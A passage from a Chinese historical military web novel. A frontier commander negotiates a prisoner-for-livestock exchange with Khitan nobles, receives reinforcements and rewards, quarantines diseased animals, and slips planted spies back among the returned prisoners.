就在这时,一名斥候顶风冒雪,疾步闯入后院,单膝跪地:“报——大人!对岸那鞑使又来了。
说是,他们贵族的底线是三千五百匹战马,五百头健牛,八千只羊。问咱们能否同意交换?”
“多…多少?”一旁的张崇听得瞳孔猛地一缩,心头剧震,难以置信地看向秦猛。
他多少知道一个鞑子换一两匹马,如此庞大的牲畜数量,光战马三千多匹,这秦知寨到底抓了什么重要人物,竟让对方舍得下此血本?
秦猛听完禀报,脸色却瞬间阴沉下来,斩钉截铁道:“回去转告秦副将,我们的底线,一寸也不能让!
让他明确告诉那个宝嘉尔,想换回他们的人,就按我们开的数来,少一只,此事就作罢,让他们自己掂量,反正老子矿洞还缺苦力。”
“得令!”斥候领命,快步离去。
军寨后门处,张崇与庞仁的亲随人马已列队完毕。
鲁真、林怒也闻讯赶来,与张、庞二人话别。
“走吧!”秦猛翻身上马,与张崇、庞仁并辔而行。
鲁真、林怒等人落后半个马身。
一行人马在风雪中缓辔徐行,所谈多是军卒冬日严苛条件下的操练要点、边境防御部署等实务。
送出寨外约两三里地,张崇勒住马缰,拱手道:“秦知寨,送君千里,终须一别。请留步吧!”
秦猛也不再远送,于马背上抱拳:“二位兄弟,一路保重!山高水长,日后若有闲暇,秦某随时扫榻相迎,届时再把酒言欢,不醉不归!”
说罢,他朝身后一挥手,几名军士推着两辆载满酒坛的独轮小车上前。“二十坛咱军寨特有的‘北风烈’,给兄弟们解解馋,暖暖身子!”
张崇、庞仁见状,知是秦猛心意,也未多作推辞,道了声“多谢秦知寨厚赠”,便命手下亲兵收下。
张崇临行前,又特意拨转马头,靠近秦猛,压低声音道:“秦知寨,林小姐……还需在贵寨多叨扰一段时日,万望将军……多加看顾。”
“张兄弟放心,”秦猛神色郑重,“林姑娘在敝寨,定当安然无恙。”
目送着这一行人马的身影彻底消失在茫茫雪幕之中,秦猛这才调转马头,率众回寨!
界河岸边,末等哨所。
寒风卷着冰粒,抽打在哨所简陋的木板墙上。秦大壮按着刀柄,如同一尊铁塔矗立在哨所前方,望着河对岸那片被风雪笼罩的苍茫草原。
他身后,十几名军卒屏息凝神,手始终不离兵器。
不多时,对岸出现一队人马,为首的正是昨天来过的契丹使者宝嘉尔。他带着几名随从,艰难地踏过积雪渐厚的河面,再次来到哨所前。
宝嘉尔脸上早已没了最初的笃定,只剩下疲惫与焦虑。
“秦将军,”宝嘉尔搓着冻得通红的双手,勉强挤出一丝笑容,“三千五百匹良驹,再加上五百头牛,八千只羊,已是我国能拿出的极限。这牲口不少了,您看…能否再通融一下……”
“宝嘉尔使者!”秦大壮声如洪钟,直接打断了他的话,黝黑的脸上没有丝毫表情,
“莫要再浪费口舌。六千匹战马,一千头牛,一万只羊,缺一不可!这是底线,没得商量!”
宝嘉尔苦着脸,几乎要哭出来:“草原连年遭遇白灾,各部族损失惨重,营地实在凑不齐啊。能否宽限些时日,或用皮货、金银抵扣?”
“不行!这是将军的死命令,我不敢违背呀!”秦大壮回答得斩钉截铁,“只要牛羊马匹,至于时日?
我们倒是不急。家就在这苦寒边陲,就不知道,那位贵人,还能在我们寨子里‘做客’多久。”
秦大壮一拍脑袋,严肃地提醒:“朝廷的飞虎卫大军不日抵达边境巡防。若让他们知道此事……”
宝嘉尔听到“飞虎卫”三字,脸色霎时变得惨白。他嘴唇哆嗦着,还想再说什么,但看着秦大壮油盐不进的模样,最终所有的话都化作一声长叹。
“既……既如此,”宝嘉尔颓然道,“那我…再回去禀报吧……”
他转身,步履蹒跚地带着随从再次走向冰河。在呼呼的风雪中,背影在风雪中显得无比落寞。
秦大壮目送他们离去,直到人影消失在视野之中,才缓缓收回目光,对身边士卒沉声道:“你们记住,大人说过,这家伙就是个戏精。
对敌人仁慈就是对自己的残忍!不要被这些鞑虏的外表欺骗,没一个好东西。他此刻可怜,怎么不见入境劫掠,杀我百姓时说句公道话?”
“加强警戒!尤其是夜间,谨防鞑子狗急跳墙!”
“得令!”
……
那边,秦猛率队刚返回军寨,忽听瞭望楼上号角长鸣,撕裂雪原寂静。
一名军卒急指向远处:“大人,有大队人马逼近!”
与此同时,寨墙上的军卒不用吩咐,就刀出鞘,箭上弦,死死盯着远处的队伍,严阵以待
秦猛勒马凝眸,只见天地交界处雪尘滚滚,几匹快马如离弦之箭冲破风雪,直扑军寨而来。
第224章 狼帐易主,飞虎来援
北方雪原上,风雪更加狂野!
宝嘉尔回来禀报,契丹贵族们得知谈判结果后,再次聚集在那座最大的牛皮大帐内商议。
此刻,帐内气氛压抑,时不时有人忍不住咒骂秦猛。
勃发斤面无表情地拨弄着眼前有气无力的火堆,慢悠悠地开口:“萧酋帅,看来你之前的‘妙计’,不仅葬送了部落近万儿郎的性命,还得要付出如此巨大的代价来收拾残局啊!”
萧铁鹰拳头紧握,指节因用力而发白,强压着的怒火让他声音都有些发颤:“勃发斤大人,胜败乃兵家常事!现在说这些还有什么用?
当务之急是想办法挽回颓势,重振旗鼓。我军大败,南蛮子定然松懈,也不知我等情况。今夜风雪正大,正是突袭的良机,只要我们……”
“突袭?”勃发斤毫不客气地打断他,歪斜的嘴角扯出一个冰冷的笑容,“你已经葬送了近万勇士,周军警觉备战,竟然还想用偷袭这套?
或者说是想故意为之,用我勃发斤部儿郎的热血,去洗刷你这王帐勇士萧铁鹰的耻辱么?
他阴鸷的目光扫过帐内其他人:“如今风雪肆虐,敌人以逸待劳,又有了准备,严防死守。
你现在去突袭,是嫌我们各部剩下的儿郎死得不够快吗?是想让我伏弗郁部的青壮都断送在这里吗?”
这话极具煽动性,几个部族头人虽然没有说话,但不敢与萧铁鹰对视,已经表明了态度。
勃发斤势大,兵力最多,按兵不动。
何况河对岸周军凶猛异常,他们自然不愿意再拿自己部族那点本钱,去填萧铁鹰挖下的坑。
萧铁鹰感到一阵透骨的冰凉,他环视帐内,这些昔日对他毕恭毕敬的头人,拍胸脯说着兄弟如何如何,此刻却隐隐以勃发斤为首是瞻。
他深吸一口气,试图做最后的努力,大声质问勃发斤:“那诸位,难道就任由那秦猛嚣张?就此罢休?让南蛮子看尽我们契丹的笑话?”
“罢休?当然不。”勃发斤慢条斯理地站起身,拍了拍身上并不在的灰尘,“仗,当然要继续打。
但怎么打?何时打?得搞清楚了再说。不能再像某些人一样,打了几场仗,就自以为天下无敌,只知道把狼牙往石头上磕,碰得头破血流。”
“你……”萧铁鹰脸色再变,羞怒之色浮现在脸上。接连败在秦猛手上是他这辈子洗刷不掉的耻辱。眼下却被人挂在嘴边唱歌,岂能不怒?
但萧酋帅一想到此刻,形势比人强,是勃发斤这万夫长得势,只能咽下这口气,他冷哼一声“一切全由万夫长大人做主”,便不再出声。
“那是自然。”勃发斤昂首得意一笑,也没再嘲讽。
他走到大帐中央,声音提高了几分,确保每个人都能听清:“当务之急,是先把被秦猛俘虏的各部族勇士,还有那些头人们,换回来!”
他目光扫过那些有族人被俘的首领,语气变得“沉重”而“恳切”:“那都是我们各部的儿郎,是我们血脉相连的兄弟,是为了部落而战。若是对他们见死不救,岂不让所有活着的勇士心寒?”
“所以当下要忍耐,要咽下这口气,汉人有句话,君子报仇,十年不晚。不能任由性子胡作非为。”说话间,勃发斤狠狠瞪了一眼萧铁鹰。
其意思不言而喻,说的就是你,你不要再胡作非为。萧铁鹰瞥见了,牙齿咬的是嘎吱作响,
勃发斤见老对头,被自己压制住,心情倍儿爽。他声音也洪亮了几分:“关键是暴风雪来临,再爆发冲突,我等没把握取胜,反而可能激怒了周军。那八百儿郎,一个都活不了。”
“只有先救回他们,凝聚人心,我们才能重振旗鼓,再图后计!明年秋冬再来,洗刷掉这种耻辱。这才是眼下最明智、最负责任的做法!”
这番话算是戳到众人心坎里,立刻引起了帐内那几个有小头目或被俘者较多的部族头人的共鸣。
“勃发斤大人说得对啊!”
“是该先救人,不能寒了勇士们的心!”
“今年不能再打了,部落儿郎经不起这么折腾。”
“对,先把人换回来再说,然后再找周狗算账!”
帐内的议论声,开始一边倒地支持勃发斤。
勃发斤此举,看似顾全大局、为了部落儿郎考虑,实则是早有图谋,先占据主导地位,再将“收拾烂摊子、体恤部下”的功劳揽到自己身上。
不仅眼下可架空萧铁鹰所剩无几的指挥权,而且往后更是能够增强自身威望,得到头人支持。在伏弗郁部内,真正能与对方分庭抗礼。
可谓是一举多得!勃发斤如何不会抓住机会?
萧铁鹰戎马半生,当然是能够看出其中深意。心中悲愤,充满了不甘和屈辱,却无力回天。
败军之将,不仅要面对河对岸那个狡诈凶悍的敌人,更要时刻提防来自内部、来自背后的冷箭和权力绞杀。
草原部落内部残酷的生存法则,在这顶充满寒意和算计的牛皮大帐内,展现得淋漓尽致。
部落,是游牧民族基础的军事部落。
部族,有两个意思,一个是多个部落组成的部落联军。二个就是部落有血缘关系或亲近的人形成团体,就称为部族,领头的叫头人。
勃发斤站在大帐中央,获得众人的支持后,燃烧的牛粪火堆将他脸上的得意映得明暗不定。
他环视着周围喧嚷的各部头人,左手猛然攥拳高举:“周人狡诈,说什么虎贲军大军压境——不过是虚张声势,想逼我们自乱阵脚!”
“咱们契丹勇士,岂能被周狗这疑兵之计吓唬?谈,继续跟他们谈,绝不能被他们牵着鼻子走。”
帐内顿时响起一片粗犷的应和:“勃发斤大人说得对!契丹的鹰,怎能被几句汉话吓破胆?”
就在众人吵吵嚷嚷之际,帐帘被猛地掀开,一股凛冽的风雪卷进,一个身上落满积雪的探子踉跄闯入,扑倒在地,冻得发紫的嘴唇哆嗦着。
“大、大人……河对岸……那军寨突然号角连天……根据眼线来…来报,是虎贲军飞虎卫的旗号。”
“是周军的援军……到了!”
“队伍绵延十里,得有三五千人马。”
一刹那,帐内死寂。
这些契丹勇士的笑容僵硬在了脸上。
只有帐外风声呜咽,像是裹来了黑压压的铁衣寒气。
……
契丹人从来就不是傻子,何况萧铁鹰,勃发斤能成为部落的高级将领,不是什么泛泛之辈。
这些天,他们早就四处派出游骑,连夜入境蛰伏起来,当作眼线,在远处监视着铁血军寨。
这不,一支浩浩荡荡的队伍靠近军寨,就被发现。观察得没错,铁血军寨终于迎来了援军。
与此同时,铁血军寨的门洞内,秦猛眯眼望向远处卷起的雪尘。
几骑快马踏雪驰近,递上文书——来的竟是虎贲军飞虎卫旗下以奔袭闻名的“狂风营”。
统将领姓严,旗反绣斗大的“严”字,在风中如虎啸张扬。这是虎贲军一营正将才能打旗号。
浩浩荡荡的队伍如长龙,靠近军寨。
车马辚辚,在雪原上压出深痕,如一道铁刃划开苍茫大地。
赵平、周扬、王魁闻讯赶至寨门,与严风相见大笑。
严风转身看向秦猛,拱手一礼,语气干脆如断铁:“秦将军,虎贲军中已传遍你屡挫契丹前锋的事迹。今日终得一见,果然是少年英雄。”
“将军谬赞了。”秦猛谦虚地抱拳还礼,心中虽疑,面上仍稳如塞石:“边塞苦寒,不过是尽力守土而已,又有到大哥等人相助,才能建功。”
他又把诸葛风,鲁真等人唤来见礼。
众人简单寒暄后,严风挥手命部属分两路:一队护送粮秣车队驶往飞虎卫驻地,一队随他入寨。
秦猛抵御契丹,连战连捷,杀敌数千,是立了大功。除了各级将领升迁,还有其他实物奖赏。
第225章 赏到兵至,谋定虏来
军寨官署,伙房早就得了命令,正忙着杀猪宰羊。沸水翻滚声与肉香一同飘出,混着校场训练和边塞干燥的冷风,竟有种别样的热闹。
车马在官署前停稳,严风侧身示意部属掀开装备车与物资车的帷幔。
“秦知寨,帅司调拨的物资全在此处,请清点查验。”他沉声道,声音在空旷的院中格外清晰。
秦猛目光扫过,只见十数辆大车上,军备整齐码放。
锃亮的铁甲三百套、犀牛皮甲五百套。
马甲、鞍具两百副及长武器整齐排列。
刀枪各五百柄寒光闪烁,强弓劲弩五百张弦线紧绷,箭簇万支,密密匝匝,望之令人心惊。
五架守城床弩被固定在特制车架上,弩臂粗壮,弩箭如壮年男子手臂,透着一股沙场特有的寒意。
另有十几辆大车,满载棉衣棉被,约么数百套,还有成堆的棉花、布匹,生姜和红糖等物。
“这些军备御寒物资,是帅司嘉奖。”严风开口解释,声音平稳,“另有千石粟米、三百石麦面,两车风干肉脯、腊肉封于陶瓮,几车好盐巴,粗略一算,足可供全寨上下三月吃用。”
秦猛脸上笑容不减,心里却是一沉:就这些?他可是打了这样几场大捷,边防帅司竟连个像样的官职都没有给,就给这些军备物资打发?
周扬似乎察觉到他的不满,凑近小声提醒:“秦知寨,帅司此番调拨,不算少了。边塞捷报估计已飞报朝廷,届时,朝廷赏赐自会下来。”
秦猛绷着脸,神色冷淡:“上报朝廷?且不说咱武将在朝中本就不受待见,光是那群大佬扯皮,验证,少说也得两三月,才有结果,至少明天开春才下来,到时候,黄花菜都凉了!”
此话一出,在场众人尽皆默然。
大周崇文抑武,边军艰难,朝堂之上争权夺利、贪腐成风,他们久在边军之中,何尝不知?
此次立功,朝廷最终能给什么嘉奖,确实难说。
“直娘贼!国难当头,鞑子愈发猖獗,这群狗东西还只知争权夺利,打压边将,视百姓如草芥!”鲁真疾恶如仇,握紧禅杖,咬牙低声咒骂。
他本是小声说,奈何嗓门洪亮,犹如闷雷似的。附近军卒听得清楚,眼中纷纷露出愤懑之色。
“对了,”严风见气氛不对,立刻转移话题,声音提高几分,“秦知寨,帅司吴大帅收到捷报大喜,称他人是酒囊饭袋,唯赞秦知寨乃边军虎将!”
他环顾四周,显然这话也是说给周围军卒听的:“这不,特调拨百名工匠,助铁血军寨建设。
另拨五百新兵补充战损,连带他们家眷老小,共千余口,来此落户垦荒。”
听到调拨了工匠、新兵及人口,秦猛脸色稍缓,当即表态:“我等边军,不必妄议朝堂,恪尽职守,护好幽州边陲,庇护一方百姓便是。”
“这还没完哩!还有赵将军特意从幽州捎来的东西。”严风继续道,示意军卒驾来十来辆大车。
车上乃是百来瓮浓稠猛火油,以及众多袋装的硫磺与硝石。
“赵将军说,此乃军寨所需火攻之物,品质极佳,另外征调数百民壮赶车,命我一并送来。”
“那太好了。”秦猛脸上这才露出真切笑容,又细问几句,得知赵将军随后将率大军赶来。
诸葛风自告奋勇留下:“大人,属下这就带队与狂风营交割,清点造册,将物资悉数入库。”
“好!”秦猛点头应下,看着工匠们围着守城床弩啧啧称奇,乡勇民壮手脚麻利卸运粮草,文吏核对数量、记录账簿,军寨一派繁忙景象。
“诸位一路辛苦,我已在官署内设宴,请边吃边谈。”
秦猛邀请严风等人赴宴,并让赵平、周扬、常勇、鲁真等人作陪。
官署内,十多人分坐左右,面前案上摆满酒肉。
大盆马肉炖得软烂,红烧肉色泽诱人,烤全羊金黄冒油,搭配白面馒头、萝卜、咸菜疙瘩。
一斤坛装的低度米酒放在各自手边。
“边寨伙食,竟如此丰盛?”严风等人看得有些惊讶。
赵平把马肉推远些,这几日他确实吃腻了,一边扯开酒坛泥封,一边对严风调侃:“这你就不懂了,这是接连打了胜仗,自有肉吃,有酒喝,若是败了,便是人家砧板上的肉。”
一句话引得众人哄堂大笑,气氛瞬间活络起来。
众人举碗同饮,算是混了个脸熟。
秦猛心中有所猜测,故作随意问:“严将军方才说,虎贲军中皆知我军寨这几场小仗?”
严风放下酒碗,朗声笑道:“秦知寨过谦了!你连战连捷,杀敌甚众,此事如何瞒得住?
赵将军索性便将你的战绩写成文书,通报全军,连幽州帅司都知飞虎卫出了个猛将秦猛。”
他目光扫过众人,声音洪亮:“如今你在虎贲军,乃至幽州全境,可是响当当的一号人物!杀敌近万,这等大捷,近十年来从未有过。幽州震动,不少青壮都慕名想来投奔呢!”
秦猛听了,既觉意外,细想又在情理之中,他早派韩勇来刘三等暗部人员去幽州制造舆论,只是没想到赵将军将这把火烧得如此之旺。
他随即无奈苦笑:“赵将军这是把我架在火上烤啊。”
转念一想,名气大了也非坏事,有了这般声望,无论招揽人才还是筹措物资,都会顺畅许多。
酒过数巡,众人话题渐转军务。
秦猛得知严风率本部剩余一千五百骑兵护粮先行,为后续大军开道。算上军寨陷阵营数百人马,赵平的千多亲卫营精锐,已可集结数千兵马。
无独有偶,赵平也在计算着兵力,看向严风道:“严兄本部两千锐卒尽在,加上赵某一千三百精锐,与秦知寨上千寨兵,咱们足有四千余人马。”
他手指无意识敲击桌面,眼中闪过一丝战意:“如今兵力充足,物资齐备,或可主动出击,给拒马河对岸的契丹人一个狠狠的教训!”
话音刚落,周扬便持反对意见:“赵将军,不可。我军兵力虽增,但鞑子援军底细未明。
若其援军有八千乃至更多,我军出击,岂非自投罗网?”
“周将军所言极是。”严风率先附和,实话实说,“这天寒地冻,我军长途跋涉,不少士卒冻伤,人马俱疲,急需休整,实不便即刻反攻。”
“秦知寨,你意下如何?”赵平见提议遭两人反驳,看向秦猛,他知道秦猛也是主战之人。
“我自然想打,最好能一举击溃,再缴获些战马。”秦猛见众人目光聚焦,沉思片刻后答道。
随即他却又摇头,“但这大雪时节,行军极难,人马冻伤增多,强行出战,纵胜亦伤亡惨重。”
他顿了顿,说出关键缘由:“更重要的是,我与契丹使者的谈判,经过几次试探,鞑子对同族人很看重。用牛羊交换俘虏一事板上钉钉。”
赵平、周扬等人知晓此事,新来的严风等人则面露疑惑。
周扬立刻解释:“确有此议,以俘虏交换牲口,此事已上报赵将军知晓,并得帅司批准。”
“此时若开战,谈判必然中断,俘虏便烂在手里,只能送去矿山,白白错失换取大量牛羊的机会。”秦猛继续道,他内心仍倾向于换取实利。
无他,只为了明年春耕有足够的耕牛。
他进一步分析局势:“此前从俘虏口中得知,伏弗郁部万夫长勃发斤与萧铁鹰素来不和。
若我军此刻将勃发斤部打垮,反倒让萧铁鹰坐收渔利,对大周边塞长远而言,并非好事。”
“况且,援军抵达的消息,契丹眼线想必早已报知勃发斤。我料定,对方惧我大军携胜之威,谈判使者很快便会再来,多半会应下我先前条件。”
严风与赵平对视一眼,皆点头认同。
赵平笑道:“秦知寨思虑周全,倒是我报仇心切,欠考虑了。既然如此,我等便先稳住阵脚,加强寨防,以逸待劳,静待鞑子使者上门。”
仿佛为了印证秦猛的判断。
“报——”一名军卒飞奔闯入官署,急声禀报:“大人,秦副将送来消息,那契丹使者又来了,声称已应下我方所有条件,只求尽快交换俘虏!”
帐内顿时一静,众人目光再次齐聚在秦猛身上。
第226章 换俘局,暗棋出
“这位秦知寨,果真了得!”
严风以前只听说过秦猛之名,此刻听到他的推断在前,又听着探子的汇报,再看着这个端坐在主位上的年轻将军,不禁在心中赞叹!
“哎,可惜了!”秦猛没有在乎他人的目光,下意识望向衣甲坊的方向,眼中闪过惋惜之色。
他想打可不是嘴上说说!
而是真想既把俘虏交换了,又趁机狠狠干对方一下,再抓俘虏待卖,最好是能把萧铁鹰留下。
只可惜时间上来不及。
他让衣甲坊缝补的内衬杀手锏,还没有准备完成。否则他就会让鞑子,见识中心开花的厉害!
“大人,那个叫宝什么的家伙强调说,牛羊马匹,随时可以过河送过来,交换俘虏,越快越好!”斥候模仿秦大壮嘱咐的口气,如实禀报。
“好,我知道啦!”秦猛笑着点头,看着斥候:“转告秦副将,我和赵统领他们即刻动身赶往。”
“遵命!”那斥候昂首领命,飞快退下。
秦猛与赵平,周扬交换一个眼神,嘴角微露一丝了然的笑意:“诸位,鞑子来了,想跑路了!”
“哈哈哈……”官署内,众人哄堂大笑。
“走,咱们会会鞑子。”秦猛一口把杯中酒水饮尽,向外走去。赵平,周扬,严风等将紧随。
不多时,几匹快马迅速向南河城寨的方向奔去。通知那边把所有兽医和关押的契丹俘虏送来。
寨前军营,又是那个末等哨所。
秦大壮第三次见到过河而来的鞑子使者宝嘉尔。这回对方不仅满眼疲惫,一边脸颊还肿了。
秦大壮这个老实人,很想问一句,你是不是挨打了?可终究没有说出口,只跟对方东拉西扯。说着张家长李家短等一些没有意义的废话。
他心里对秦猛的佩服程度又提升三分。果然,这些狡猾的鞑子明明有成群的牛羊马匹,却装出可怜的样子,嘴里没一句实话,坏得很。
当快马飞奔而来,那个斥候迅速下马,急匆匆冲入哨所,凑近秦大壮,小声转达秦猛的命令。
宝嘉尔猛地抬起头来,竖起耳朵倾听,可惜,斥候汇报声太小,又是使眼色,毛都没听到。
“秦副将,秦知寨怎么说?”见秦大壮快步走回来,宝嘉尔立刻起身询问,眼中充满了希冀。
秦大壮精神振奋,立刻笑道:“兄弟,这事成了。回去告诉你们的萧酋帅,勃发斤万夫长,让他们赶紧驱赶牛羊,秦大人带着俘虏过来。”
“好,我这就回去禀报。”宝嘉尔听到这番话,眼眶湿润。他顾不得因先汇报萧铁鹰而挨打,立刻带着几个随从,冒着风雪,返回营地。
……
半个时辰后,铁血军寨,契丹营地,号声刺破了风雪。
冰河之上,寒风卷着雪沫子呼啸而过,抽打在双方士兵的甲胄上,军中的旗帜被吹得猎猎作响。
契丹万夫长勃发斤勒住马缰,目光如鹰隼般扫过对岸严阵以待的飞虎卫,手指无意识地握紧腰间弯刀——他身后,数百儿郎整齐列阵。
契丹兵驱赶着六千匹骏马而来,万只肥羊挤成白茫茫一片,还有千头黄牛被绳索拴在最前。
超过万头牲口,场面蔚为壮观。
严风,王魁,以及赶来的李雄等人看得目瞪口呆。人人红着双眼,盯着一眼望不到头的马群。
而秦猛则策马立在雪墙后方缓坡上。
身后张龙张虎正厉声喝斥着刚从地牢、矿山押来的契丹俘虏,让他们排队涌向临时搭建的木棚,热水蒸腾间,污臭的旧衣被尽数换下,换上了堡民的旧衣服——干净的粗布短褂。
“动作快点!洗干净了再出来,别让人说咱们苛待俘虏!”张虎一脚踹在一个磨磨蹭蹭的俘虏屁股上。
“他娘的,看看这些家伙还长胖了不少,凭啥说虐待?”张龙骂骂咧咧,带人把这些俘虏押送去交易。眼神却死死盯着冰河中央的窄门。
——那是秦猛特意让人扩建的通道,仅容五匹马并行而过。雪墙防线各有一扇,一个用来清点契丹送来的牲口,另一个则对应放人。
两边各有几十名飞虎卫持矛守卫,连只飞鸟都别想混过去。雪墙后,军卒踩在掩体上拉弓。
勃发斤看着这严密到近乎苛刻的安排,心里那点想用牲口群冲乱队形的念头又沉了沉,却仍不死心。
他悄悄对身边亲兵打了个手势,让他们待会儿驱赶牲口时故意放慢速度,试试能否找到破绽。
可秦猛早把他的心思摸得透彻。
眼看契丹人赶着大量牛羊,闹哄哄地走到窄门。
他对着身边亲兵抬了抬下巴:“通知秦大壮,张龙,按制定的规矩来——五十匹马,五头牛,五十只羊到齐,就放十个俘虏过去。”
不多时,鲁真那大嗓门的计数声便顺着风飘了过来。
而河这边,张龙已点齐十名换好衣服的俘虏,将他们引向另一侧的出口,没有丝毫混乱之象。
冰河上,勃发斤看着牲口和俘虏有条不紊地交换,死死攥紧拳头,却只能眼睁睁看着计划落空。
——雪墙太厚了!窄门两侧的飞虎卫如铁桩般立着,长矛斜指地面,形成一道密不透风的屏障,雪墙后方,数百上千个弓箭手严阵以待。
别说冲乱队形,就连靠近都难。
就在这时,负责清点牲口的士兵突然高声喊道:“大人!这几头羊不对劲!浑身发烫,还一个劲打喷嚏!”
秦猛眉头一挑,早有准备的兽医队立刻提着药箱冲了上去,将可疑的牛羊隔离到远处的临时棚圈。
——那是他断定鞑子不甘心,提前在离营地几里外搭建的防疫区,棚子四周洒着石灰,通风良好,专门用来应对契丹人可能耍的手段。
事实上,秦猛考虑得还真周全。
鞑子报复心强,坏得很,那些染了瘟疫的牲口就是故意夹杂其中,想让秦猛收下后营地爆发疫病,牛羊死绝,如今却被及时隔离开。
而这场交易最暗处的谋算,正藏在那些低头赶路的俘虏之中。
一个满脸沧桑契丹汉子走过秦猛身边时,看似不经意地抬了抬头,与秦猛交换了一个隐晦的眼神。
——他是被俘虏中最先崩溃的,连日拷问下早已没了反抗之心,又被秦猛灌输思想洗脑。
如今已自愿成为铁血军寨安插在契丹部落的探子,待回到部落后,便会将部落的兵力部署、粮草囤积等消息传出来,由暗部人员接触。
像他这样的“暗棋”,秦猛此次足足安插了二十余人,他们有一个特点,就是在部落一贫如洗。秦猛给了他们大把的金钱,又有保证书在。个个都是经过反复试探、确认可靠的人选。
天色越发阴沉,冰河上的交换终于接近尾声。
“周人,这件事没完。”勃发僵在马上,朝南岸大吼一声。随后领着挥下悻悻离去。
在快要踏上北岸的时候,他回头望了一眼对岸隐隐绰绰的大群牲口,眼底满是不甘与愤怒。
“那我等着你!”秦猛站在缓坡上,拨马冲下坡。看着统计册上“战马六千匹、牛羊万只,黄牛一千头”的数字,嘴角终于露出一抹了然的笑。
这场换俘,表面上是双方各取所需的交易,实则是一场无声的较量。
——勃发斤的武力试探、牲口疫病算计尽数落空,而秦猛一举赚得第一笔万多头牲口的“战争财”。
待最后一名契丹俘虏过了河。
是隆巴顿等百夫长和贵族子弟,以及也叫霍格,阿鲁朵的契丹人被滥竽充数,换来了牲口。
张龙快步走到秦猛身边:“大人,所有牲口都已清点,挨个排查,分开驱赶向马厩牛棚。
兽医说除了十几头染了瘟病的牛羊,其余都没问题。那些‘探子’也按您的吩咐,混在俘虏里走了。”
“好!”秦猛点点头,目光投向契丹兵远去的方向,寒风将他的大氅吹得扬起:“传令下去,加强边境巡逻,密切关注北岸鞑子的动向。”
“得令!”
赵平、周扬、李雄,甚至连一向沉稳的严风,此刻都一个个笑得合不拢嘴,围到秦猛身边。
人人拱手恭贺,你一言我一语,满是“恭喜秦知寨”“这回可是发了一笔横财”的调侃,俨然一副“打土豪,分田地”的热切架势。
第227章 牛羊归寨,鞑虏远遁
鹅毛般的雪花再度纷纷扬扬地落下,越下越急。覆盖了冰河上杂乱的足迹,却丝毫掩盖不住飞虎卫各营将士几乎要冲破云层的喜悦。
上千名军卒,一路上兴高采烈,有说有笑,驱赶着成群的牛羊马匹,浩浩荡荡返回寨子。
秦猛被人簇拥着,脸上带着笑,心中却如明镜一般。
他抬手止住众人的喧哗,高声道:“诸位兄弟静一静!这笔收获,是咱们飞虎卫各营将士上下同心、用命搏来的,我秦猛岂是吃独食之人?”
他话音一顿,环视眼前一双双炽热的眼睛:“但是,换俘一事,已快马呈报幽州大营,所有缴获,皆需登记在册,不可全然擅作主张。
不过,上头也明白咱们的辛苦,咱们自行斟酌分配一部分,以犒劳将士,是不成文的规定。”
“南河城寨送来了百多个俘虏,加上亲卫营也从幽州大营送来的百多个,这功勋暂且不论。
此番所得六千匹战马,我便做主,先拿出一千匹来!磐石营、亲卫营各得五百匹。此外,再给两营配上五百只肥羊,让兄弟们好好过个冬!”
赵平和李雄对视一眼,对这个方案显然颇为满意,当即抱拳:“多谢秦知寨,我等并无异议!”
一旁的严风却急了,上前一步道:“秦知寨,秦老弟,这有好处了,你可不能厚此薄彼啊!
别看我们狂风营人人配马,可至少有三分之一,都是不善冲刺的河曲马,好马也稀缺得很啊!”
秦猛早有所料,露出一个狡猾的笑容,拍了拍严风的肩膀:“严将军,你的难处我晓得。
不过,此次收获,至少有半数好马最终要划归飞虎卫统一调配。你这可是近水楼台先得月,想要好马,得多跟赵平将说,请他调拨才是。”
赵平闻言,也是哈哈大笑,指向严风,一切尽在不言中。
这时,秦猛看到诸葛先生和李恒正带着一群文吏,在寒风中围着庞大的牲口群忙碌记录,手指冻得通红。
他扭头看向身后的亲兵队伍:“**,速去请唐医官,协助兽医队,对所有牲口再进行一遍彻底的防疫检查,尤其是蹄口,必须用石灰水冲洗干净,分厩隔离饲养,不可怠慢。”
秦猛又策马靠过去,扬声道:“诸葛先生,立刻派人到寨子左近的各个村堡,张贴告示,大量收购干草、豆料!
这些牲口是咱们冬季练兵和来年春耕的指望,更是组建骑军的本钱,得好生养得膘肥体壮!”
“属下明白!”诸葛风高声应下,脸上却露出一丝无奈的苦笑。他心中暗道,这军寨领头人能力平庸,解决不了温饱,军民吃不饱饭是愁。
可像秦猛这般能力太强的,这惊喜也是一个接一个,眼前这密密麻麻、一眼望不到边的牲口群,光是每日的草料消耗就是个天文数字。
“真是幸福的烦恼啊!”李恒感慨着。
与此同时,铁血军寨内,但凡是能看到寨门方向的人,无不被眼前的景象惊得目瞪口呆。
几个刚出寨的妇人,抬眼望去,只见寨前空地里满是蠕动的牛羊马匹,忍不住失声惊呼:“我的娘诶!哪来这许多牲口?莫不是把草原给搬回来了?”
这消息如同长了翅膀,瞬间传遍了整个军寨。无论是轮番修整的兵卒、匠户,还是妇孺老弱,纷纷放下手中的活计,涌过来看热闹。
寨前门,人群拥堵,围得里三层外三层,指着牲口群议论纷纷,脸上洋溢着难以置信的喜悦。
许多民兵和壮劳力更是不用吩咐,自发拎着棍子上前帮忙驱赶、分流牲口,或帮着搬运草料。
现场吆喝声不断,一片热火朝天。
“瞧瞧!还是秦知寨有本事!这一下,咱们寨子可算阔气了!”
“可不是嘛!往年过年见点荤腥,今年,哪天没有肉吃?”
“何止吃肉!有了这些牛马,明年开春耕种可就省大力气了!”
“跟着秦大人,真是有奔头啊!”
军民们的赞叹声、欢笑声汇成一片,在军寨上空回荡,驱散了冬日的严寒,处处洋溢着喜悦。
与南岸军寨的欢腾形成鲜明对比的是,北岸契丹营地中,此刻却弥漫着压抑不住的怒火和**。
萧铁鹰看着狼狈归来的数百名族人,目光第一时间就落在了亲信将领隆巴顿身上,见他虽然憔悴,但总算全须全尾地回来了,心中先是一喜。
但这喜悦仅仅持续了片刻,当他仔细辨认,发现队伍中混着不少陌生面孔,再一查问,所谓的“霍格”“阿鲁朵”竟是周人找来的冒牌货时,一股被戏耍的狂怒瞬间冲昏了他的头脑。
隆巴顿没了最初那种傲气,声音沙哑的说着:“萧克,巴蒂尔是您的心腹,想换,没这么容易。”
“该死,这群言而无信的周狗!”
“狡猾如狐的南蛮子!”萧铁鹰额角青筋暴起,猛地一脚踹翻了眼前的矮几,酒水肉干洒了一地。
想到那些白送出去的、成群结队的牛羊马匹,尤其是那数千匹良驹,他的心都在滴血,怒骂声在营地上空回荡:“秦猛
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,我萧铁鹰与你势不两立!”
一旁的勃发斤同样气得浑身发抖,他原本指望能换回更多本部落的勇士,结果发现除了数百个自家儿郎,剩下的竟是来自其他中小部落。
